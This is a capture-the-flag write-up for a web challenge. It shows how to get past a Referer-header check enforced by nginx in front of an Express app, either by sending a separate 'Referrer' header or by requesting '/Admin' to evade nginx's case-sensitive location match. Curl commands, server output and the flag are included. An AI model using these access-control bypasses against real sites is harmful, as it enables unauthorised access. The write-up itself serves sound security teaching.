Introduction
Bypass the security of a website that implements Referer-based authentication.
Solution
The sources have two folders: app and nginx.
nginx/nginx.conf holds the server config:
worker_processes auto;
events {
worker_connections 128;
}
http {
charset utf-8;
access_log /dev/stdout;
error_log /dev/stdout;
upstream express_app {
server app:3000;
}
server {
listen 80;
server_name example.com;
location / {
proxy_pass http://express_app;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
location /admin {
if ($http_referer !~* "^https://admin\.internal\.com") {
return 403;
}
proxy_pass http://express_app;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
The /admin location only lets the request through if the Referer header starts with https://admin.internal.com, otherwise it’s a 403.
On the app side, index.js holds the server code:
const express = require("express")
const app = express()
app.get("/", (req, res) => {
res.send("Hello World!");
})
app.get("/admin", (req, res) => {
if (req.header("referer") === "YOU_SHOUD_NOT_PASS!") {
return res.send(process.env.FLAG);
}
res.send("Wrong header!");
})
app.listen(3000, () => {
console.log("App listening on port 3000");
})
Those two files are all we need. The goal is to reach /admin and read the flag, which means clearing two checks at once:
- nginx:
$http_referermust start withhttps://admin.internal.com - express:
req.header("referer")must equalYOU_SHOUD_NOT_PASS!
At first glance these contradict each other, one Referer header can’t be both values. But the MDN page on Referer has the key detail: “referer” is a misspelling of “referrer”, baked into the HTTP spec with a single “r”.

nginx’s $http_referer only ever reads the (misspelled) Referer header.
Express’s req.header("referer"), though, is special. The Express v4.x docs for req.get(...) note it returns the value of the Referer or Referrer header, checking both spellings.


That’s the whole bug. We send two different headers: Referer: https://admin.internal.com to satisfy nginx, and Referrer: YOU_SHOUD_NOT_PASS! (double “r”) that Express picks up instead.
curl 'http://static-01.heroctf.fr:7000/admin' -H 'Referer: https://admin.internal.com/' -H 'Referrer: YOU_SHOUD_NOT_PASS!'
Hero{ba7b97ae00a760b44cc8c761e6d4535b}
Flag: Hero{ba7b97ae00a760b44cc8c761e6d4535b}
Alternative Solution
There’s a second way in, using a case-sensitivity mismatch: nginx location matching is case-sensitive, Express routing isn’t.
Requesting /Admin skips the nginx $http_referer check entirely (its location is /admin), but Express still routes /Admin to the same handler and runs its req.header("referer") check.
So all we need is Referer: YOU_SHOUD_NOT_PASS! on /Admin:
curl -i -H 'Referer: YOU_SHOUD_NOT_PASS!' http://static-01.heroctf.fr:7000/Admin
HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Sun, 14 May 2023 13:23:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 38
Connection: keep-alive
X-Powered-By: Express
ETag: W/"26-Cj1P1GdO8Vke/DfJFC3B2cH95nw"
Hero{ba7b97ae00a760b44cc8c761e6d4535b}
Tips & Tricks
- The header
Refereris a misspelling ofReferrer(source). $http_refereris an nginx variable that contains the value of theRefererheader sent by the browser.- In Express v4.x, calling the function
req.get("referer")returns the value of theRefererorReferrerheader sent by the browser. - Route names exposed with Express v4.x are case-insensitive;
/Adminand/adminare equivalent (source).CaseSensitive: Disabled by default, treating "/Foo" and "/foo" as the same.
- Route names in the nginx
locationconfiguration are case-sensitive;/Adminand/adminare not equivalent.